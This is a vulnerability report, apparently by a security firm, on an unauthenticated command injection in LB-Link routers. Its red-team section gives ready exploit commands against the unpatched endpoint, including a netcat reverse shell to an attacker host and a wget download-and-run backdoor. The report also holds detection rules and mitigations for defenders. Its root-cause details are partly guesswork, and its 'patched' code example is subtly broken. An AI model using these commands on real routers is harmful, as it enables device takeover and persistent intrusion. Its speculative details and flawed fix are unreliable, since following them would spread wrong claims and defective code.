CVE-2025-57685

Executive Summary

CVE-2025-57685 is a critical, unauthenticated command injection vulnerability affecting multiple LB-Link router models. The flaw resides in the /goform/set_serial_cfg interface, allowing a remote attacker to inject arbitrary operating system commands without any authentication. Successful exploitation grants the attacker the highest level of device privileges, enabling full device compromise, network pivoting, and persistent access. The vulnerability is currently unpatched, and no official fix has been released by the vendor. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance for both Red and Blue Teams.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the router itself.
• Confidentiality Impact: High (C:H) – Full access to device data and network traffic.
• Integrity Impact: High (I:H) – Ability to modify device configuration and firmware.
• Availability Impact: High (A:H) – Can cause denial of service or brick the device.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full device compromise makes this a top-priority vulnerability for any organization using these LB-Link routers.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the web management interface of LB-Link routers. The /goform/set_serial_cfg endpoint is used to configure serial port settings. The application fails to sanitize user-supplied input before passing it to a system-level command (e.g., system(), exec(), or popen()). An attacker can inject shell metacharacters (such as ;, |, &, `, $()) to execute arbitrary commands.

Root Cause: The web server (likely a lightweight embedded HTTP server like httpd or lighttpd) directly concatenates user input from a POST parameter (e.g., serial_cmd) into a shell command without any validation or escaping.

Attack Flow:

1. Attacker identifies a vulnerable LB-Link router (e.g., via Shodan or local network scanning).
2. Attacker sends a crafted HTTP POST request to /goform/set_serial_cfg with a malicious payload in the serial_cmd parameter.
3. The router executes the injected command with root privileges.
4. Attacker gains a reverse shell, installs a backdoor, or exfiltrates data.

Example Payload:

curl -X POST http://<router_ip>/goform/set_serial_cfg -d "serial_cmd=;id"

Vulnerable vs. Patched Code

Since no patch is available, this section illustrates the vulnerable code pattern and a hypothetical secure implementation.

Vulnerable Code (C/C++ pseudocode):

void handle_set_serial_cfg(struct http_request *req) {
    char cmd[256];
    char *serial_cmd = get_param(req, "serial_cmd");
    snprintf(cmd, sizeof(cmd), "echo %s > /dev/ttyS0", serial_cmd);
    system(cmd);  // Vulnerable: no input sanitization
}

Patched Code (Hypothetical):

void handle_set_serial_cfg(struct http_request *req) {
    char cmd[256];
    char *serial_cmd = get_param(req, "serial_cmd");
    // Whitelist allowed characters (alphanumeric and basic punctuation)
    if (!is_valid_serial_input(serial_cmd)) {
        log_error("Invalid serial command input");
        return;
    }
    // Use execve with proper argument separation
    char *args[] = {"/bin/echo", serial_cmd, NULL};
    execve("/bin/echo", args, NULL);  // Safe: no shell interpretation
}

Exploitation & Lab Setup

Red Team

Lab Environment:

• One vulnerable LB-Link router (e.g., BL-AC2100) or a firmware emulator (e.g., FirmAE).
• Attacker machine with Kali Linux and curl, netcat, and metasploit.

Exploitation Steps:

1. Identify Target:

   nmap -p 80,443,8080 <target_ip>
   

2. Verify Vulnerability:

   curl -X POST http://<target_ip>/goform/set_serial_cfg -d "serial_cmd=;id"
   

   Expected response: uid=0(root) gid=0(root) groups=0(root)

3. Reverse Shell: On attacker machine:

   nc -lvnp 4444
   

   On target:

   curl -X POST http://<target_ip>/goform/set_serial_cfg -d "serial_cmd=;nc <attacker_ip> 4444 -e /bin/sh"
   

4. Persistence (Drop a backdoor):

   curl -X POST http://<target_ip>/goform/set_serial_cfg -d "serial_cmd=;wget http://<attacker_ip>/backdoor.sh -O /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
   

Blue Team

Detection & Response:

1. Network Monitoring: Look for HTTP POST requests to /goform/set_serial_cfg with suspicious payloads (e.g., containing ;, |, &, $()).
2. Log Analysis: Check router logs for unusual command execution or shell activity.
3. Honeypot: Deploy a fake LB-Link router to capture exploitation attempts.
4. Mitigation: Block access to the /goform/set_serial_cfg endpoint via firewall or WAF rules.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/goform/set_serial_cfg" "id:1001,phase:1,t:urlDecodeUni,deny,status:403,msg:'CVE-2025-57685 Exploit Attempt'"

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/set_serial_cfg with shell metacharacters.
• Outbound connections from the router to unknown IPs on high ports (e.g., 4444, 1337).
• Unusual DNS queries or data exfiltration patterns.

Host IOCs (on the router):

• Unexpected processes running (e.g., nc, bash, python).
• Modified or new files in /tmp/ or /var/.
• Changes to /etc/passwd or /etc/shadow.
• Unauthorized SSH keys in /etc/dropbear/.

File IOCs:

• /tmp/backdoor.sh
• /tmp/.persistent
• /var/run/evil.sh

Detection Engineering

YARA Rule

rule CVE_2025_57685_LB_Link_Command_Injection {
    meta:
        description = "Detects command injection attempts against LB-Link routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57685"
    strings:
        $s1 = "/goform/set_serial_cfg" ascii wide nocase
        $s2 = "serial_cmd=" ascii wide nocase
        $s3 = ";" ascii
        $s4 = "|" ascii
        $s5 = "`" ascii
        $s6 = "$(" ascii
    condition:
        $s1 and $s2 and (any of ($s3,$s4,$s5,$s6))
}

Sigma Rule

title: CVE-2025-57685 LB-Link Router Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /goform/set_serial_cfg with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/set_serial_cfg'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate serial configuration with special characters (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-57685 LB-Link Router Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/goform/set_serial_cfg"; http_uri; content:"serial_cmd="; http_client_body; pcre:"/(;|\||`|\$\().*$/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Vulnerable Devices: Place all affected LB-Link routers on a separate VLAN with strict firewall rules.
2. Disable Remote Management: If not required, disable the web management interface from the WAN side.
3. Apply Virtual Patching: Use a WAF or IPS to block requests to /goform/set_serial_cfg with suspicious payloads.
4. Monitor for Exploitation: Deploy the detection rules above and review logs regularly.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from LB-Link. Contact the vendor for an ETA.
• Firmware Hardening: If possible, compile a custom firmware (e.g., OpenWrt) that does not include the vulnerable endpoint.
• Device Replacement: Consider replacing affected routers with more secure alternatives from vendors with a proven security track record.

Workaround:

• Manually remove or comment out the set_serial_cfg handler in the web server configuration (if accessible via SSH/telnet).

Valters IT
Securing Digital Frontiers